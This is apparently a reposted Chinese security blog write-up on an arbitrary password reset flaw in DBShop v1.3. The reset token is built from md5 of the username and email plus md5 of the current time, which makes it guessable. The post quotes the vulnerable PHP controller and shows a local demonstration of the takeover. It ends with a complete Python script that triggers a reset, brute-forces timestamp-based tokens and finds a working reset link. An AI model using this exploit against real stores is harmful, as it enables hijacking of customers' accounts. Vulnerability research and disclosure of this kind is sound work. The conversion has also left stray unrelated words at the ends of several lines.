Dbshop v1.3任意用戶密碼重置漏洞

時間 2019-11-15

標籤 dbshop v1.3 任意用戶密碼重置漏洞简体版

原文原文鏈接

0x00 前言

年也過的差很少了，各自也都回到崗位忙碌起來了，新的一年祝你們諸事順利，洞洞高危！好了進入正題php

0x01 漏洞簡介

本次主要寫個簡單的邏輯漏洞！而後拋個Message 內置高危。前端

1、找回密碼token爆破web

0x02 漏洞分析

漏洞文件：\DBShop\module\Shopfront\src\Shopfront\Controller\UserController.php數組

漏洞函數：forgotpasswdAction瀏覽器

    public function forgotpasswdAction ()

    {

        if($this->getServiceLocator()->get('frontHelper')->getUserSession('user_id') != '')

            return $this->redirect()->toRoute('fronthome/default');

 

        $array = array();

        if($this->request->isPost()) {

            $postArray = $this->request->getPost()->toArray();

            $userInfo  = $this->getDbshopTable('UserTable')->infoUser(array('user_name'=>$postArray['user_name'], 'user_email'=>$postArray['user_email']));

            if(isset($userInfo->user_name) and $userInfo->user_name != '') {

                //生成惟一碼及url

                $editCode    = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

                $editUrl     = $this->getServiceLocator()->get('frontHelper')->dbshopHttpOrHttps() . $this->getServiceLocator()->get('frontHelper')->dbshopHttpHost() . $this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswdedit')) . '?editcode=' . $editCode;

                //發送的郵件內容

                $forgotEmail = array(

                    'send_user_name'=> $userInfo->user_name,

                    'send_mail'     => $userInfo->user_email,

                    'subject'       => $this->getServiceLocator()->get('frontHelper')->websiteInfo('shop_name') . $this->getDbshopLang()->translate('會員密碼修改'),

                    'body'          => $this->getDbshopLang()->translate('親愛的') . $userInfo->user_name . '<br>' . $this->getDbshopLang()->translate('您好，請點擊下面的連接進行密碼修改') . '<a href="'.$editUrl.'" target="_blank">'

                            . $this->getDbshopLang()->translate('點擊修改密碼 ') . '</a><br>' . $this->getDbshopLang()->translate('若是您沒法點擊修改連接，請複製下面的連接地址在瀏覽器中打開，完成密碼修改 ') . '<br>' . $editUrl

                );

                try {

                    $this->getServiceLocator()->get('shop_send_mail')->toSendMail($forgotEmail);

                    $this->getDbshopTable('UserTable')->updateUser(array('user_forgot_passwd_code'=>$editCode),array('user_id'=>$userInfo->user_id));

                    $array['message'] = sprintf($this->getDbshopLang()->translate('已經向您的郵箱 %s 發送了一封郵件，請根據郵件內容完成新密碼設定'), '<font color="red">' . $userInfo->user_email . '</font>');

                } catch (\Exception $e) {

                    $array['message'] = $this->getDbshopLang()->translate('沒法向您的郵箱發送郵件，請聯繫管理員處理！');

                }

            } else {

                $array['message'] = $this->getDbshopLang()->translate('您輸入的信息錯誤，沒有匹配的會員信息！') . ' ' . $this->getDbshopLang()->translate('請從新輸入') . '<a href="'.$this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswd')).'">' . $this->getDbshopLang()->translate('返回') . '</a>';

            }

        }

        

        return $array;

    }

這個就是找回密碼的功能點，起初我看了下前端有校驗驗證碼，然而不是在這個函數裏面，可繞過。網絡

這代碼寫的挺簡陋的接受用戶傳入的post數據並賦值給$postArray數組，而後查詢user_name和user_email存在則直接發送一個找回密碼的token到用戶郵箱。session

看一下生成token的過程app

$editCode = md5($userInfo->user_name . $userInfo->user_email) . md5(time());ide

很是簡單的加密方式無非一個time()。舉個例子也就是md5(test112test112@qq.com).md5(1550392236)。可爆破函數

0x03 漏洞演示

http://127.0.0.20/user/forgotpasswd

發送一個重置密碼連接到用戶郵箱，咱們能夠手工去爆破！

Response 返回包這裏有響應時間

Date: Sun, 17 Feb 2019 09:22:24 GMT

然而令我懵逼的是爲何是09而不是17，不過咱們直接把09換成當前的時間就ok了，經測試分和秒都是正確的。這裏我在代碼處加了var_dump調試，能夠看到正確的時間戳和token

在線時間戳轉換工具：https://tool.lu/timestamp/

1550395544這個是調試出來的時間戳，和咱們推出來的徹底相同，就算不一樣也毫不會有太大的偏差，固然仍是要根據本身網絡狀況來判斷。

在線php代碼調試：

http://www.dooccn.com/php/#id/9c4b55cf81232b9702f0f0baa6490846

這個是咱們本身生成的

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

原token

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

爆破成功。訪問重置密碼連接：

http://127.0.0.20/user/forgotpasswdedit?editcode=b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

整個步驟完成，這個是我在本地環境演示的，固然遇到實際狀況可能時間戳偏差就會比較大。So寫了一個腳本測試。

0x04 爆破腳本

#coding: gbk
import requests
import time
import hashlib

class DbshopBlastCode(object):

    def __init__(self,user,email,url):
        self.user=user
        self.email=email
        self.url=url
        self.head={
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": "{0}/user/forgotpasswd".format(self.url),
            "Cookie": "PHPSESSID=ebiu1g0obrlf6m9i8cs1ep9bd0",
            "Upgrade-Insecure-Requests": "1"
        }
        self.request=requests.session()
        self.send()

    def buildExp(self):
        timeList=[i for i in range(self.nowTime-100,self.nowTime+10)]
        timeList.reverse()
        md5List=[]
        b = hashlib.md5()
        b.update(self.user+self.email)
        uMd5=b.hexdigest()
        for i in timeList:
            m = hashlib.md5()
            m.update(str(i))
            md5List.append(uMd5+m.hexdigest())
        self.md5List=md5List
        print(self.md5List)
        self.fuzz()

    def send(self):
        vailUrl="{0}/user/forgotpasswd".format(self.url)
        vailData="user_name={0}&user_email={1}&captcha_code=111".format(self.user,self.email)
        try:
            result=self.request.post(vailUrl,data=vailData,headers=self.head)
            if '<font color="red">'+self.email+'</font>' in result.content:
                self.nowTime=int(time.time())
                print('ok')
                self.buildExp()
            else:
                print('Url error http://hostname/. Url format is http://hostname ')
                print('false')
        except Exception as e:
            print(e)

    def fuzz(self):
        for i in self.md5List:
            url = "{0}/user/forgotpasswdedit?editcode={1}".format(self.url,i)
            try:
                result=self.request.get(url)
                if 'input type="password" id="user_com_passwd" class="span3" name="user_com_passwd" placeho' in result.content:
                    print(url)
                    return
            except Exception as e:
                print(e,'fuzz')
                return

DbshopBlastCode('test112','test112@qq.com','http://127.0.0.20')